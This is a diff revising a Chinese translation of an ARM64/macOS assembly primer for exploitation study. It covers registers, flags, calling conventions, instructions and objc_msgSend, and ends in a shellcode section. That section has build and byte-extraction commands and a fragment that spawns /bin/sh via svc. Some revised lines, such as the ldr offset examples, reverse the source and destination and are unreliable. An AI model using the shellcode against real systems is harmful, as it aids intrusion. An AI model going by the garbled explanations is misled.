+10. **`pc`** - **程序计数器**,指向下一条指令。此寄存器只能通过异常生成、异常返回和分支更新。唯一可以读取此寄存器的普通指令是带链接的分支指令(BL、BLR)以将**`pc`**地址存储在**`lr`**(链接寄存器)中。
11. **`xzr`** - **零寄存器**。在其**32**位寄存器形式中也称为**`wzr`**。可用于轻松获取零值(常见操作)或使用**`subs`**执行比较,例如**`subs XZR, Xn, #10`**将结果数据存储在任何地方(在**`xzr`**中)。
**`Wn`**寄存器是**`Xn`**寄存器的**32位**版本。
### SIMD和浮点寄存器
-此外,还有另外**32个长度为128位的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些称为Vn寄存器,尽管它们也可以在**64**位、**32**位、**16**位和**8**位上操作,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
+此外,还有另外**32个长度为128位的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些称为Vn寄存器,尽管它们也可以以**64**位、**32**位、**16**位和**8**位运行,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
### 系统寄存器
**有数百个系统寄存器**,也称为特殊目的寄存器(SPRs),用于**监视**和**控制** **处理器**的行为。\
-它们只能使用专用的特殊指令 **`mrs`** 和 **`msr`** 进行读取或设置。
+它们只能使用专用的特殊指令**`mrs`**和**`msr`**来读取或设置。
-特殊寄存器 **`TPIDR_EL0`** 和 **`TPIDDR_EL0`** 在逆向工程中经常被发现。`EL0` 后缀表示可以从中访问寄存器的**最小异常**(在这种情况下,EL0是常规程序运行的异常(特权)级别)。\
-它们通常用于存储**线程本地存储**内存区域的**基地址**。通常第一个对于在EL0中运行的程序是可读写的,但第二个可以从EL0中读取并从EL1中写入(如内核)。
+特殊寄存器**`TPIDR_EL0`**和**`TPIDDR_EL0`**在逆向工程中经常出现。`EL0`后缀表示可以访问寄存器的**最小异常**(在这种情况下,EL0是常规程序运行的异常(特权)级别)。\
+它们通常用于存储内存中**线程本地存储**区域的基址。通常第一个对于在EL0中运行的程序是可读写的,但第二个可以从EL0中读取并从EL1中写入(如内核)。
* `mrs x0, TPIDR_EL0 ; 将 TPIDR_EL0 读入 x0`
* `msr TPIDR_EL0, X0 ; 将 x0 写入 TPIDR_EL0`
### **PSTATE**
-**PSTATE** 包含几个进程组件序列化到操作系统可见的 **`SPSR_ELx`** 特殊寄存器中,其中 X 是触发的异常的**权限级别**(这允许在异常结束时恢复进程状态)。\
+**PSTATE** 包含几个进程组件序列化到操作系统可见的**`SPSR_ELx`**特殊寄存器中,其中 X 是**触发的**异常的**权限** **级别**(这允许在异常结束时恢复进程状态)。\
这些是可访问的字段:
@@ -83,122 +84,122 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
* **`Z`** 表示操作产生了零
* **`C`** 表示操作进行了进位
* **`V`** 表示操作产生了有符号溢出:
-* 两个正数的和产生了负结果。
-* 两个负数的和产生了正结果。
-* 在减法中,当从较小的正数中减去较大的负数(或反之亦然),并且结果无法在给定位大小的范围内表示时。
+* 两个正数相加得到负结果。
+* 两个负数相加得到正结果。
+* 在减法中,当从较小的正数中减去较大的负数(或反之亦然),并且结果无法表示在给定位大小的范围内时。
* 显然,处理器不知道操作是有符号的还是无符号的,因此它将在操作中检查 C 和 V,并指示是否发生了进位。
{% hint style="warning" %}
-并非所有指令都会更新这些标志。一些像 **`CMP`** 或 **`TST`** 这样的指令会更新,而像 **`ADDS`** 这样带有 s 后缀的其他指令也会更新。
-{% endhint%}
+并非所有指令都会更新这些标志。一些像**`CMP`**或**`TST`**的指令会更新,而带有 s 后缀的其他指令像**`ADDS`**也会更新。
+{% endhint %}
-* 当前的**寄存器宽度 (`nRW`) 标志**:如果标志的值为 0,则程序在恢复后将在 AArch64 执行状态下运行。
+* 当前的**寄存器宽度(`nRW`)**标志:如果标志的值为 0,则程序在恢复后将在 AArch64 执行状态下运行。
* 当前的**异常级别**(**`EL`**):在 EL0 中运行的常规程序将具有值 0
-* **单步执行**标志(**`SS`**):调试器使用此标志进行单步执行,通过异常将 SS 标志设置为 1。程序将运行一步并发出单步执行异常。
+* **单步执行**标志(**`SS`**):调试器使用单步执行标志设置 **`SPSR_ELx`** 中的 SS 标志为 1。程序将运行一步并发出单步执行异常。
* **非法异常**状态标志(**`IL`**):用于标记特权软件执行无效的异常级别转移时,此标志设置为 1,处理器触发非法状态异常。
* **`DAIF`** 标志:这些标志允许特权程序有选择地屏蔽某些外部异常。
* 如果 **`A`** 为 1,则将触发**异步中止**。**`I`** 配置以响应外部硬件**中断请求**(IRQs)。而 F 与**快速中断请求**(FIRs)有关。
-* **堆栈指针选择**标志(**`SPS`**):在 EL1 及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间进行切换(例如,在 `SP_EL1` 和 `EL0` 之间)。这种切换是通过写入 **`SPSel`** 特殊寄存器来执行的。无法从 EL0 中执行此操作。
+* **堆栈指针选择**标志(**`SPS`**):在 EL1 及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间切换(例如在 `SP_EL1` 和 `EL0` 之间)。这种切换是通过写入**`SPSel`**特殊寄存器来执行的。无法从 EL0 中执行此操作。
## **调用约定(ARM64v8)**
-ARM64 调用约定指定函数的**前八个参数**通过寄存器 **`x0` 到 `x7`** 传递。**额外**的参数通过**堆栈**传递。**返回**值通过寄存器 **`x0`** 返回,如果其长度为 128 位,则也可以返回到 **`x1`**。必须在函数调用之间保留 **`x19`** 到 **`x30`** 和 **`sp`** 寄存器。
+ARM64 调用约定指定函数的**前八个参数**通过寄存器**`x0` 到 `x7`**传递。**额外**参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**返回,如果其长度为 128 位,则也可以返回到**`x1`**。必须在函数调用之间保留**`x19`**到**`x30`**和**`sp`**寄存器。
-在汇编中阅读函数时,查找**函数序言和尾声**。**序言**通常涉及**保存帧指针 (`x29`)**,**设置**新的**帧指针**,和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
+在汇编中阅读函数时,查找**函数序言和尾声**。**序言**通常涉及**保存帧指针(`x29`)**,**设置**新的**帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
### Swift 中的调用约定
-Swift 有其自己的**调用约定**,可以在 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) 中找到。
+Swift 有其自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。
## **常见指令(ARM64v8)**
-ARM64 指令通常具有 **`opcode dst, src1, src2`** 的格式,其中 **`opcode`** 是要执行的操作(如 `add`、`sub`、`mov` 等),**`dst`** 是将存储结果的**目标**寄存器,**`src1`** 和 **`src2`** 是**源**寄存器。也可以使用立即值代替源寄存器。
+ARM64 指令通常具有**格式 `opcode dst, src1, src2`**,其中**`opcode`**是要执行的**操作**(如 `add`、`sub`、`mov` 等),**`dst`**是将结果存储的**目标**寄存器,**`src1`** 和 **`src2`** 是**源**寄存器。也可以使用立即值代替源寄存器。
* **`mov`**:将一个值从一个**寄存器**移动到另一个寄存器。
-* 示例:`mov x0, x1` — 这将从 `x1` 移动值到 `x0`。
+* 示例:`mov x0, x1` — 这将从 `x1` 移动的值到 `x0`。
* **`ldr`**:将**内存**中的值加载到**寄存器**中。
-* 示例:`ldr x0, [x1]` — 这将从由 `x1` 指向的内存位置加载值到 `x0`。
+* 示例:`ldr x0, [x1]` — 这将从 `x1` 指向的内存位置加载的值到 `x0`。
* **偏移模式**:指示影响原始指针的偏移量,例如:
-* `ldr x2, [x1, #8]`,这将在 x2 中加载 x1 + 8 的值
-* `ldr x2, [x0, x1, lsl #2]`,这将在 x2 中加载数组 x0 中位置 x1(索引)\* 4 处的对象
-* **预索引模式**:这将对原始应用计算,获取结果并将新原始存储在原始中。
-* `ldr x2, [x1, #8]!`,这将在 `x2` 中加载 `x1 + 8`,并将 `x1 + 8` 的结果存储在 `x1` 中
-* `str lr, [sp, #-4]!`,将链接寄存器存储在 sp 中,并更新寄存器 sp
-* **后索引模式**:与前一个模式类似,但是首先访问内存地址,然后计算并存储偏移量。
-* `ldr x0, [x1], #8`,加载 `x1` 到 `x0`,并将 `x1` 更新为 `x1 + 8`
+* `ldr x2, [x1, #8]`,这将在 x1 + 8 中加载 x2 的值
+* `ldr x2, [x0, x1, lsl #2]`,这将在 x0 数组中的位置 x1(索引)\* 4 中加载 x2 的对象
+* **预索引模式**:这将对原始进行计算,获取结果并将新原始存储在原始中。
+* `ldr x2, [x1, #8]!`,这将在 `x1 + 8` 中加载 `x2` 并将 `x1 + 8` 的结果存储在 `x1` 中
+* `str lr, [sp, #-4]!`,将链接寄存器存储在 sp 中并更新寄存器 sp
+* **后索引模式**:与前一个类似,但首先访问内存地址,然后计算并存储偏移量。
+* `ldr x0, [x1], #8`,加载 `x1` 到 `x0` 并将 x1 更新为 `x1 + 8`
* **相对于 PC 的寻址**:在这种情况下,相对于 PC 寄存器计算要加载的地址
-* `ldr x1, =_start`,这将加载 `_start` 符号开始的地址,与当前 PC 相关的 x1 中。
+* `ldr x1, =_start`,这将加载 `_start` 符号开始的地址到 x1,与当前 PC 相关。
* **`str`**:将**寄存器**中的值存储到**内存**中。
-* 示例:`str x0, [x1]` — 这将将 `x0` 中的值存储到由 `x1` 指向的内存位置。
+* 示例:`str x0, [x1]` — 这将 `x0` 中的值存储到 `x1` 指向的内存位置。
* **`ldp`**:**加载一对寄存器**。此指令从**连续内存**位置加载两个寄存器。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
-* 示例:`ldp x0, x1, [x2]` — 这将从 `x2` 和 `x2 + 8` 处的内存位置分别加载 `x0` 和 `x1`。
+* 示例:`ldp x0, x1, [x2]` — 这从 `x2` 和 `x2 + 8` 的内存位置分别加载 `x0` 和 `x1`。
* **`stp`**:**存储一对寄存器**。此指令将两个寄存器存储到**连续内存**位置。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
-* 示例:`stp x0, x1, [sp]` — 这将 `x0` 和 `x1` 存储到 `sp` 和 `sp + 8` 处的内存位置。
-* `stp x0, x1, [sp, #16]!` — 这将 `x0` 和 `x1` 存储到 `sp+16` 和 `sp + 24` 处的内存位置,并将 `sp` 更新为 `sp+16`。
+* 示例:`stp x0, x1, [sp]` — 这将 `x0` 和 `x1` 存储到 `sp` 和 `sp + 8` 的内存位置。
+* `stp x0, x1, [sp, #16]!` — 这将 `x0` 和 `x1` 存储到 `sp+16` 和 `sp + 24` 的内存位置,并将 `sp` 更新为 `sp+16`。
* **`add`**:将两个寄存器的值相加并将结果存储在一个寄存器中。
-* 语法:add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX\]
+* 语法:add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> 目的地
* Xn2 -> 操作数1
* Xn3 | #imm -> 操作数2(寄存器或立即数)
-* \[shift #N | RRX\] -> 执行移位或调用RRX
+* \[shift #N | RRX] -> 执行移位或调用RRX
* 示例:`add x0, x1, x2` — 这将把`x1`和`x2`的值相加,并将结果存储在`x0`中。
-* `add x5, x5, #1, lsl #12` — 这等于4096(1左移12位) -> 1 0000 0000 0000 0000
+* `add x5, x5, #1, lsl #12` — 这等于 4096(1左移12位) -> 1 0000 0000 0000 0000
* **`adds`** 这执行一个`add`并更新标志位
-* **`sub`**:从两个寄存器的值中**减去**一个值,并将结果存储在一个寄存器中。
+* **`sub`**:从两个寄存器中减去值并将结果存储在一个寄存器中。
* 检查**`add`**的**语法**。
-* 示例:`sub x0, x1, x2` — 这将从`x1`中减去`x2`的值,并将结果存储在`x0`中。
+* 示例:`sub x0, x1, x2` — 这从`x1`中减去`x2`的值,并将结果存储在`x0`中。
* **`subs`** 这类似于sub但会更新标志位
-* **`mul`**:将**两个寄存器**的值相乘,并将结果存储在一个寄存器中。
-* 示例:`mul x0, x1, x2` — 这将把`x1`和`x2`的值相乘,并将结果存储在`x0`中。
+* **`mul`**:将**两个寄存器**的值相乘并将结果存储在一个寄存器中。
+* 示例:`mul x0, x1, x2` — 这将`x1`和`x2`的值相乘,并将结果存储在`x0`中。
* **`div`**:将一个寄存器的值除以另一个寄存器的值,并将结果存储在一个寄存器中。
-* 示例:`div x0, x1, x2` — 这将把`x1`的值除以`x2`的值,并将结果存储在`x0`中。
+* 示例:`div x0, x1, x2` — 这将`x1`的值除以`x2`的值,并将结果存储在`x0`中。
* **`lsl`**、**`lsr`**、**`asr`**、**`ror`**、**`rrx`**:
* **逻辑左移**:从末尾添加0,将其他位向前移动(乘以n次2)
* **逻辑右移**:在开始添加1,将其他位向后移动(在无符号情况下除以n次2)
* **算术右移**:类似于**`lsr`**,但如果最高有效位是1,则添加1(在有符号情况下除以n次2)
* **右旋转**:类似于**`lsr`**,但从右侧移除的内容会添加到左侧
* **带扩展的右旋转**:类似于**`ror`**,但将进位标志作为“最高有效位”。因此,将进位标志移动到第31位,将移除的位移动到进位标志。
-* **`bfm`**:**位字段移动**,这些操作将从一个值中复制位`0...n`,并将其放置在位置`m..m+n`。**`#s`**指定最左边的位位置,**`#r`**指定右旋转量。
+* **`bfm`**:**位字段移动**,这些操作将从一个值中复制位`0...n`并将其放置在位置`m..m+n`。**`#s`**指定最左边的位位置,**`#r`**指定向右旋转的数量。
* 位字段移动:`BFM Xd, Xn, #r`
* 有符号位字段移动:`SBFM Xd, Xn, #r, #s`
* 无符号位字段移动:`UBFM Xd, Xn, #r, #s`
-* **位字段提取和插入**:从一个寄存器复制位字段,并将其复制到另一个寄存器。
+* **位字段提取和插入**:从一个寄存器中复制位字段并将其复制到另一个寄存器中。
* **`BFI X1, X2, #3, #4`** 从X2的第3位插入4位到X1
-* **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取四位,并将其复制到X1
-* **`SBFIZ X1, X2, #3, #4`** 从X2中扩展4位,并从第3位开始将其插入X1,将右侧位清零
+* **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取四位并将其复制到X1
+* **`SBFIZ X1, X2, #3, #4`** 从X2中扩展4位并从第3位开始将其插入X1,将右侧位清零
* **`SBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,进行符号扩展,并将结果放入X1
-* **`UBFIZ X1, X2, #3, #4`** 从X2中扩展4位,并从第3位开始将其插入X1,将右侧位清零
+* **`UBFIZ X1, X2, #3, #4`** 从X2中扩展4位并从第3位开始将其插入X1,将右侧位清零
* **`UBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,并将零扩展的结果放入X1。
-* **符号扩展至X**:将一个值的符号扩展(或在无符号版本中只添加0)以便对其进行操作:
-* **`SXTB X1, W2`** 将字节的符号扩展**从W2到X1**(`W2`是`X2`的一半)以填充64位
-* **`SXTH X1, W2`** 将16位数的符号扩展**从W2到X1**以填充64位
-* **`SXTW X1, W2`** 将字节的符号扩展**从W2到X1**以填充64位
-* **`UXTB X1, W2`** 将字节的0(无符号)添加**从W2到X1**以填充64位
+* **符号扩展至X**:扩展值的符号(或在无符号版本中仅添加0)以便执行操作:
+* **`SXTB X1, W2`** 从W2扩展一个字节的符号到X1(`W2`是`X2`的一半)以填充64位
+* **`SXTH X1, W2`** 从W2扩展一个16位数的符号到X1以填充64位
+* **`SXTW X1, W2`** 从W2扩展一个字节的符号到X1以填充64位
+* **`UXTB X1, W2`** 添加0(无符号)到从W2到X1的一个字节以填充64位
* **`extr`**:从指定的**连接的一对寄存器**中提取位。
-* 示例:`EXTR W3, W2, W1, #3` 这将**连接W1+W2**,并从W2的第3位到W1的第3位获取并将其存储在W3中。
+* 示例:`EXTR W3, W2, W1, #3` 这将**连接W1+W2**并从W2的第3位到W1的第3位获取并将其存储在W3中。
* **`cmp`**:比较两个寄存器并设置条件标志。它是`subs`的别名,将目标寄存器设置为零寄存器。用于判断`m == n`。
-* 它支持与`subs`相同的语法
-* 示例:`cmp x0, x1` — 这将比较`x0`和`x1`的值,并相应地设置条件标志。
-* **`cmn`**:**比较负数**操作数。在这种情况下,它是`adds`的别名,并支持相同的语法。用于判断`m == -n`。
-* **`ccmp`**:条件比较,仅在先前的比较为真时执行比较,并明确设置nzcv位。
+* 支持与`subs`相同的语法
+* 示例:`cmp x0, x1` — 这比较`x0`和`x1`的值,并相应地设置条件标志。
+* **`cmn`**:**比较负数**操作数。在这种情况下,它是`adds`的别名并支持相同的语法。用于判断`m == -n`。
+* **`ccmp`**:条件比较,仅在先前的比较为真时执行比较,并特别设置nzcv位。
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果x1 != x2且x3 < x4,则跳转到func
* 这是因为**`ccmp`**仅在**先前的`cmp`为`NE`时执行**,如果不是,则位`nzcv`将设置为0(不满足`blt`比较)。
* 这也可以用作`ccmn`(与`cmp`相同,但是负数,类似于`cmp`与`cmn`)。
-* **`tst`**:检查比较的值是否都为1(类似于ANDS,不会在任何地方存储结果)。用于检查一个寄存器与一个值,并检查值中指示的寄存器的任何位是否为1。
-* 示例:`tst X1, #7` 检查X1的最后3位中是否有任何一位为1
+* **`tst`**:检查比较的值是否都为1(类似于ANDS,不会将结果存储在任何地方)。用于检查一个寄存器与一个值,并检查值中指定的寄存器的任何位是否为1。
+* 示例:`tst X1, #7` 检查X1的最后3位中是否有任何位为1
* **`teq`**:执行异或操作并丢弃结果
* **`b`**:无条件跳转
* 示例:`b myFunction`
* 请注意,这不会将链接寄存器填充为返回地址(不适用于需要返回的子程序调用)
-* **`bl`**:带链接的**跳转**,用于**调用**子程序。将返回地址存储在`x30`中。
-* 示例:`bl myFunction` — 这将调用函数`myFunction`并将返回地址存储在`x30`中。
+* **`bl`**:带链接的跳转,用于**调用**子程序。将返回地址存储在`x30`中。
+* 示例:`bl myFunction` — 这调用函数`myFunction`并将返回地址存储在`x30`中。
* 请注意,这不会将链接寄存器填充为返回地址(不适用于需要返回的子程序调用)
-* **`blr`**:带链接到寄存器的**跳转**,用于**调用**寄存器中指定的**子程序**。将返回地址存储在`x30`中。
-* 示例:`blr x1` — 这将调用地址包含在`x1`中的函数,并将返回地址存储在`x30`中。
+* **`blr`**:带链接到寄存器的跳转,用于**调用**寄存器中指定的**目标**的**子程序**。将返回地址存储在`x30`中。
+* 示例:`blr x1` — 这调用地址包含在`x1`中的函数,并将返回地址存储在`x30`中。
* **`ret`**:从**子程序**返回,通常使用**`x30`**中的地址。
-* 示例:`ret` — 这将使用`x30`中的返回地址从当前子程序返回。
+* 示例:`ret` — 这使用`x30`中的返回地址从当前子程序返回。
* **`b.`**:条件跳转
-* **`b.eq`**:**等于时跳转**,基于先前的`cmp`指令。
+* **`b.eq`**:**如果相等则跳转**,基于先前的`cmp`指令。
* 示例:`b.eq label` — 如果先前的`cmp`指令找到两个相等的值,则跳转到`label`。
* **`b.ne`**: **Branch if Not Equal**. 这条指令检查条件标志(由先前的比较指令设置),如果比较的值不相等,则跳转到一个标签或地址。
* 示例:在`cmp x0, x1`指令之后,`b.ne label` — 如果`x0`和`x1`中的值不相等,则跳转到`label`。
@@ -210,7 +211,7 @@ ARM64 指令通常具有 **`opcode dst, src1, src2`** 的格式,其中 **`opco
* 示例:`tbnz x0, #8, label`
* **`tbz`**: 测试位并在零时跳转
* 示例:`tbz x0, #8, label`
-* **条件选择操作**:这些是根据条件位不同而行为不同的操作。
+* **条件选择操作**:这些是根据条件位变化行为的操作。
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 如果为真,X0 = X1,如果为假,X0 = X2
* `csinc Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = Xm + 1
* `cinc Xd, Xn, cond` -> 如果为真,Xd = Xn + 1,如果为假,Xd = Xn
@@ -221,12 +222,12 @@ ARM64 指令通常具有 **`opcode dst, src1, src2`** 的格式,其中 **`opco
* `cset Xd, Xn, Xm, cond` -> 如果为真,Xd = 1,如果为假,Xd = 0
* `csetm Xd, Xn, Xm, cond` -> 如果为真,Xd = \,如果为假,Xd = 0
* **`adrp`**: 计算一个符号的**页地址**并将其存储在一个寄存器中。
-* 示例:`adrp x0, symbol` — 这将计算`symbol`的页地址并将其存储在`x0`中。
-* **`ldrsw`**: 从内存中**加载**一个带符号的**32位**值,并将其**符号扩展为64位**。
-* 示例:`ldrsw x0, [x1]` — 这将从`x1`指向的内存位置加载一个带符号的32位值,将其符号扩展为64位,并将其存储在`x0`中。
+* 示例:`adrp x0, symbol` — 这计算`symbol`的页地址并将其存储在`x0`中。
+* **`ldrsw`**: 从内存中**加载**一个带符号的**32位**值并将其**符号扩展为64位**。
+* 示例:`ldrsw x0, [x1]` — 这从由`x1`指向的内存位置加载一个带符号的32位值,将其符号扩展为64位,并将其存储在`x0`中。
* **`stur`**: 将一个寄存器值**存储到内存位置**,使用另一个寄存器的偏移量。
-* 示例:`stur x0, [x1, #4]` — 这将把`x0`中的值存储到比`x1`当前地址大4个字节的内存地址中。
-* **`svc`**:进行一个**系统调用**。它代表"Supervisor Call"。当处理器执行这条指令时,它会**从用户模式切换到内核模式**,并跳转到内存中内核系统调用处理代码所在的特定位置。
+* 示例:`stur x0, [x1, #4]` — 这将`x0`中的值存储到比`x1`当前地址大4个字节的内存地址中。
+* **`svc`**:进行一个**系统调用**。它代表"Supervisor Call"。当处理器执行这条指令时,它会**从用户模式切换到内核模式**,并跳转到内存中内核的系统调用处理代码所在的特定位置。
* 示例:
```armasm
@@ -244,7 +245,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
{% endcode %}
2. **设置新的帧指针**:`mov x29, sp`(为当前函数设置新的帧指针)
-3. **为局部变量在堆栈上分配空间**(如果需要):`sub sp, sp, `(其中 `` 是所需字节数)
+3. **为局部变量在栈上分配空间**(如果需要):`sub sp, sp, `(其中 `` 是所需字节数)
### **函数尾声**
@@ -265,8 +266,8 @@ Armv8-A 支持执行 32 位程序。**AArch32** 可以在 **两种指令集**之
**特权**的 64 位程序可以通过执行例外级别转移到较低特权的 32 位程序来调度 **执行 32 位** 程序。\
请注意,从 64 位到 32 位的过渡发生在较低的例外级别(例如,EL1 中的 64 位程序触发 EL0 中的程序)。当 `AArch32` 进程线程准备好执行时,通过将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位设置为 1** 来完成这一过渡,而 `SPSR_ELx` 的其余部分存储了 **`AArch32`** 程序的 CPSR。然后,特权进程调用 **`ERET`** 指令,使处理器转换到 **`AArch32`** 进入 A32 或 T32,具体取决于 CPSR\*\*。\*\*
-**`interworking`** 是通过 CPSR 的 J 和 T 位实现的。`J=0` 和 `T=0` 表示 **`A32`**,`J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
-这是在 **interworking 分支指令** 中设置的,但也可以在 PC 被设置为目标寄存器时使用其他指令直接设置。示例:
+**`interworking`** 使用 CPSR 的 J 和 T 位。`J=0` 和 `T=0` 表示 **`A32`**,`J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
+这是在 **interworking 分支指令** 中设置的,但也可以在将 PC 设置为目标寄存器时使用其他指令直接设置。示例:
另一个示例:
```armasm
@@ -281,16 +282,16 @@ mov r0, #8
```
### 寄存器
-有16个32位寄存器(r0-r15)。**从r0到r14**它们可以用于**任何操作**,但其中一些通常是保留的:
+有16个32位寄存器(r0-r15)。**从r0到r14**它们可以用于**任何操作**,但其中一些通常被保留:
-- **`r15`**:程序计数器(始终)。包含下一条指令的地址。在A32中为当前地址+8,在T32中为当前地址+4。
+- **`r15`**:程序计数器(始终)。包含下一条指令的地址。在A32中为当前 + 8,在T32中为当前 + 4。
- **`r11`**:帧指针
-- **`r12`**:过程内调用寄存器
+- **`r12`**:函数内调用寄存器
- **`r13`**:堆栈指针
- **`r14`**:链接寄存器
此外,寄存器在**`banked registries`**中备份。这些地方存储寄存器的值,允许在异常处理和特权操作中执行**快速上下文切换**,避免每次都需要手动保存和恢复寄存器。\
-这是通过将处理器状态从`CPSR`保存到所采取的处理器模式的`SPSR`中来完成的。在异常返回时,**从`SPSR`恢复`CPSR`**。
+这是通过**将处理器状态从`CPSR`保存到处理器模式的`SPSR`**来实现的。在异常返回时,**从`SPSR`恢复`CPSR`**。
### CPSR - 当前程序状态寄存器
@@ -306,10 +307,10 @@ mov r0, #8
#### 应用程序状态寄存器(APSR)
- **`N`**,**`Z`**,**`C`**,**`V`**标志(就像在AArch64中一样)
-- **`Q`**标志:在执行专门的饱和算术指令时,当发生**整数饱和**时设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何隐式检查其值的指令,必须通过手动读取来完成。
+- **`Q`**标志:在执行专门的饱和算术指令时,当**整数饱和发生**时设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何隐式检查其值的指令,必须通过手动读取来完成。
- **`GE`**(大于或等于)标志:用于SIMD(单指令,多数据)操作,例如“并行加法”和“并行减法”。这些操作允许在单个指令中处理多个数据点。
-例如,**`UADD8`**指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后,基于这些结果,在**`APSR`**中设置**`GE`**标志。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
+例如,**`UADD8`**指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后,基于这些结果,它**在`APSR`中设置`GE`标志**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
**`SEL`**指令使用这些GE标志执行条件操作。
@@ -318,11 +319,11 @@ mov r0, #8
- **`J`**和**`T`**位:**`J`**应为0,如果**`T`**为0,则使用A32指令集,如果为1,则使用T32指令集。
- **IT块状态寄存器**(`ITSTATE`):这些是位10-15和25-26。它们存储**`IT`**前缀组内指令的条件。
- **`E`**位:指示**字节序**。
-- **模式和异常掩码位**(0-4):它们确定当前的执行状态。第**5**位指示程序是否以32位(1)或64位(0)运行。其他4个表示当前正在使用的**异常模式**(当发生异常并正在处理时)。设置的数字表示在处理此异常时触发另一个异常时的**当前优先级**。
+- **模式和异常掩码位**(0-4):它们确定当前的执行状态。第**5**个指示程序是否以32位(1)或64位(0)运行。其他4个表示**当前正在使用的异常模式**(当发生异常并正在处理时)。设置的数字表示在处理此异常时触发另一个异常的当前优先级。
-- **`AIF`**:可以使用**`A`**,`I`,`F`位禁用某些异常。如果**`A`**为1,则表示将触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**(IRQs)。F与**快速中断请求**(FIRs)有关。
+- **`AIF`**:可以使用**`A`**,`I`,`F`位禁用某些异常。如果**`A`**为1,则会触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**(IRQs)。F与**快速中断请求**(FIRs)有关。
## macOS
@@ -370,8 +371,9 @@ XNU支持另一种称为机器相关调用的调用类型。这些调用的数
- x1:op -> 方法的选择器
- x2... -> 调用方法的其余参数
-因此,如果在调用此函数之前设置断点,您可以轻松地在lldb中找到调用的内容(在此示例中,对象调用`NSConcreteTask`中的对象,该对象将运行一个命令)。
-```
+因此,如果在调用此函数之前设置断点,您可以轻松地在lldb中找到调用的内容(在此示例中,对象调用`NSConcreteTask`中的对象,该对象将运行一个命令):
+```bash
+# Right in the line were objc_msgSend will be called
(lldb) po $x0
@@ -388,9 +390,29 @@ whoami
)
```
{% hint style="success" %}
-设置环境变量 `NSObjCMessageLoggingEnabled=1` 可以记录当这个函数被调用时的日志,保存在类似 `/tmp/msgSends-pid` 的文件中。
+设置环境变量 **`NSObjCMessageLoggingEnabled=1`** 可以记录当该函数被调用时的日志,日志会保存在类似 `/tmp/msgSends-pid` 的文件中。
+
+此外,设置 **`OBJC_HELP=1`** 并调用任何二进制文件,您可以查看其他环境变量,您可以使用这些环境变量来在发生某些 Objc-C 操作时记录日志。
{% endhint %}
+当调用此函数时,需要找到指定实例的调用方法,为此进行不同的搜索:
+
+* 执行乐观的缓存查找:
+ * 如果成功,则完成
+* 获取 runtimeLock(读取)
+* 如果(realize && !cls->realized),则实现类
+* 如果(initialize && !cls->initialized),则初始化类
+* 尝试类自己的缓存:
+ * 如果成功,则完成
+* 尝试类方法列表:
+ * 如果找到,则填充缓存并完成
+* 尝试超类缓存:
+ * 如果成功,则完成
+* 尝试超类方法列表:
+ * 如果找到,则填充缓存并完成
+* 如果(resolver),尝试方法解析器,并从类查找重复
+* 如果仍然在这里(= 所有其他方法均失败),尝试转发器
+
### Shellcodes
编译:
@@ -401,14 +423,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
-提取字节:
+要提取字节:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
-对于新版 macOS:
+对于更新的 macOS:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@@ -534,9 +556,9 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
sh_path: .asciz "/bin/sh"
```
-#### 使用cat命令读取
+#### 使用 cat 命令读取
